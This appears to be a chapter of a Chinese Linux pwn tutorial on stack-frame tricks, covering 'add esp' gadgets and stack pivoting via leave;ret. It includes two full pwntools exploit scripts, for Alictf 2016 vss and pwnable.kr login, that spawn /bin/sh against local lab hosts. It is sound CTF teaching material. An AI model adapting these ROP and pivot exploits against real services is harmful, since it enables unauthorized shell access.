Linux Pwn入門教程系列分享如約而至,本套課程是作者依據i春秋Pwn入門課程中的技術分類,並結合近幾年賽事中出現的題目和文章整理出一份相對完整的Linux Pwn教程。
教程僅針對i386/amd64下的Linux Pwn常見的Pwn手法,如棧,堆,整數溢出,格式化字符串,條件競爭等進行介紹,所有環境都會封裝在Docker鏡像當中,並提供調試用的教學程序,來自歷年賽事的原題和帶有注釋的python腳本。
課程回顧>>
教程中的題目和腳本若有使用不妥之處,歡迎各位大佬批評指正。
在存在棧溢出的程序中,有時候我們會碰到一些棧相關的問題,例如溢出的字節數太小,ASLR導致的棧地址不可預測等。針對這些問題,我們有時候需要通過gadgets調整棧幀以完成攻擊。常用的思路包括加減esp值,利用部分溢出字節修改ebp值並進行stack pivot等。
今天i春秋與大家分享的是Linux Pwn入門教程第五章:調整棧幀的技巧,閱讀用時約12分鍾。
修改esp擴大棧空間
我們先來嘗試一下修改esp擴大棧空間。打開例子~/Alictf 2016-vss/vss,我們發現這是一個64位的程序,且由於使用靜態編譯+strip命令剝離符號,整個程序看起來比較亂,我們先找到main函數:


IDA載入后窗口顯示的是代碼塊start,這個結構是固定的,call的函數是__libc_start_main,上一行的offset則是main函數。進入main函數后,我們可以通過syscall的eax值,參數等確定幾個函數的名字。


sub_4374E0使用了調用號是0x25的syscall,且F5的結果該函數接收一個參數,應該是alarm。

sub_408800字符串單參數,且參數被打印到屏幕上,可以猜測是puts。


sub_437EA0調用sub_437EBD,使用了0號syscall,且接收三個參數,推測為read。
分析后的main函數如下:

被命名為verify的函數內部太過復雜,我們先暫且放棄靜態分析的嘗試,通過向程序中輸入大量字符串我們發現程序存在溢出。

將斷點下在call read一行,我們跟蹤一下輸入的數據的走向。


步進verify函數,執行到call sub_400330一行和執行結果,推測出sub_400330是strncpy( )。


繼續往下執行,發現有兩個判斷,判斷輸入頭兩個字母是否是py,若是則直接退出,否則進入一個循環,這個循環會以[rbp+rax+dest]里的值作為循環次數對從輸入開始的每個位異或0x66。由於循環次數會被修改且變得過大,循環最后會因為試圖訪問沒有標志位R的內存頁而崩潰。

rbp+rax=0x7FFE6CD1A040,該地址所在內存頁無法訪問。

因此我們需要改變思路,嘗試一下在輸入的開頭加上“py”,這回發現了一個數據可控的棧溢出。

通過觀察數據我們很容易發現被修改的EIP是通過strncpy復制到輸入前面的0x50個字節的最后8個。由於沒有libc,one gadget RCE使不出來,且使用了strncpy,字符串里不能有\\x00,否則會被當做字符串截斷從而無法復制滿0x50字節制造可控溢出,這就意味着任何地址都不能被寫在前0x48個字節中。在這種情況下我們就需要通過修改esp來完成漏洞利用。
首先,盡管我們有那么多的限制條件,但是在main函數中我們看到read函數的參數指明了長度是0x400。幸運的是,read函數可以讀取“\\x00”。

這就意味着我們可以把ROP鏈放在0x50字節之后,然后通過增加esp的值把棧頂抬到ROP鏈上。我們搜索包含add esp的gadgets,搜索到了一些結果。

通過這個gadget,我們成功把esp的值增加到0x50之后。接下來我們就可以使用熟悉的ROP技術調用sys_read讀取“/bin/sh\\x00”字符串,最后調用sys_execve了。構建ROP鏈和完整腳本如下:
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
payload = ""
payload += p64(0x6161616161617970) #頭兩位為py,過檢測
payload += 'a'*0x40 #padding
payload += p64(0x46f205) #add esp, 0x58; ret
payload += 'a'*8 #padding
payload += p64(0x43ae29) #pop rdx; pop rsi; ret 為sys_read設置參數
payload +=p64(0x8) #rdx = 8
payload += p64(0x6c7079) #rsi = 0x6c7079
payload += p64(0x401823) #pop rdi; ret 為sys_read設置參數
payload += p64(0x0) #rdi = 0
payload += p64(0x437ea9) #mov rax, 0; syscall 調用sys_read
payload += p64(0x46f208) #pop rax; ret
payload += p64(59) #rax = 0x3b
payload += p64(0x43ae29) #pop rdx; pop rsi; ret 為sys_execve設置參數
payload += p64(0x0) #rdx = 0
payload += p64(0x0) #rsi = 0
payload += p64(0x401823) #pop rdi; ret 為sys_execve設置參數
payload += p64(0x6c7079) #rdi = 0x6c7079
payload += p64(0x437eae) #syscall
print io.recv()
io.send(payload)
sleep(0.1) #等待程序執行,防止出錯
io.send('/bin/sh\\x00')
io.interactive()
棧幀劫持stack pivot
通過可以修改esp的gadget可以繞過一些限制,擴大可控數據的字節數,但是當我們需要一個完全可控的棧時這種小把戲就無能為力了。在系列的前幾篇文章中我們提到過數次ALSR,即地址空間布局隨機化。
這是一個系統級別的安全防御措施,無法通過修改編譯參數進行控制,且目前大部分主流的操作系統均實現且默認開啟ASLR。正如其名,在開啟ASLR之前,一個進程中所有的地址都是確定的,不論重復啟動多少次,進程中的堆和棧等的地址都是固定不變的。
這就意味着我們可以把需要用到的數據寫在堆棧上,然后直接在腳本里硬編碼這個地址完成攻擊。例如,我們假設有一個沒有開NX保護的,有棧溢出的程序運行在沒有ASLR的系統上。由於沒有ASLR,每次啟動程序時棧地址都是0x7fff0000,那么我們直接寫入shellcode並且利用棧溢出跳轉到0x7fff0000就可以成功getshell。
而當ASLR開啟后,每次啟動程序時的棧和堆地址都是隨機的,也就是說這次啟動時是0x7fff0000,下回可能就是0x7ffe0120。這時候如果沒有jmp esp一類的gadget,攻擊就會失效,而stack pivot這種技術就是一個對抗ASLR的利器。
stack pivot之所以重要,是因為其利用到的gadget幾乎不可能找不到。在函數建立棧幀時有兩條指令push ebp; mov ebp, esp,而退出時同樣需要消除這兩條指令的影響,即leave(mov esp, ebp; pop ebp)。且leave一般緊跟着就是ret。因此,在存在棧溢出的程序中,只要我們能控制到棧中的ebp,我們就可以通過兩次leave劫持棧。




第一次leave; ret,new esp為棧劫持的目標地址。可以看到執行到retn時,esp還在原來的棧上,ebp已經指向了新的棧頂。



第二次leave; ret 實際決定棧位置的寄存器esp已經被成功劫持到新的棧上,執行完gadget后棧頂會在new esp-4(64位是-8)的位置上。此時棧完全可控通過預先或者之后在new stack上布置數據可以輕松完成攻擊。
我們來看一個實際的例子~/pwnable.kr-login/login,這個程序的邏輯很簡單,且預留了一個system(“/bin/sh”)后門。

程序要求我們輸入一個base64編碼過的字符串,隨后會進行解碼並且復制到位於bss段的全局變量input中,最后使用auth函數進行驗證,通過后進入帶有后門的correct( )打開shell。

打開auth函數,我們發現這個auth的手段實際上是計算md5並進行比對,顯然以我們的水平要在短時間里做到md5碰撞不現實。但萬幸的是,這里的memcpy似乎會造成一個棧溢出。

調試發現不幸的是我們不能控制EIP,只能控制到EBP。這就需要用到stack pivot把對EBP的控制轉化為對EIP的控制了。由於程序把解碼后的輸入復制到地址固定的.bss段上,且從auth到程序結束總共要經過auth和main兩個函數的leave; retn,我們可以將棧劫持到保存有輸入的.bss段上。毫無疑問,base64加密前的12個字節的最后4個留給.bss段上數據的首地址0x811eb40.根據之前的推演,執行到第二次retn時esp = new esp - 4,所以頭4個字節應該是填充位,中間四個字節就是后門的地址。即輸入布局如下:

構造腳本如下:
#!/usr/bin/python
#coding:utf-8
from pwn import *
from base64 import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote("172.17.0.2", 10001)
payload = "aaaa" #padding
payload += p32(0x08049284) #system("/bin/sh")地址,整個payload被復制到bss上,棧劫持后retn時棧頂在這里
payload += p32(0x0811eb40) #新的esp地址
io.sendline(b64encode(payload))
io.interactive()
需要注意的是,stack pivot是一個比較重要的技術。在接下來的SROP和ret2dl_resolve中我們還將利用到這個技術。
以上是今天的內容,大家看懂了嗎?后面我們將持續更新Linux Pwn入門教程的相關章節,希望大家及時關注。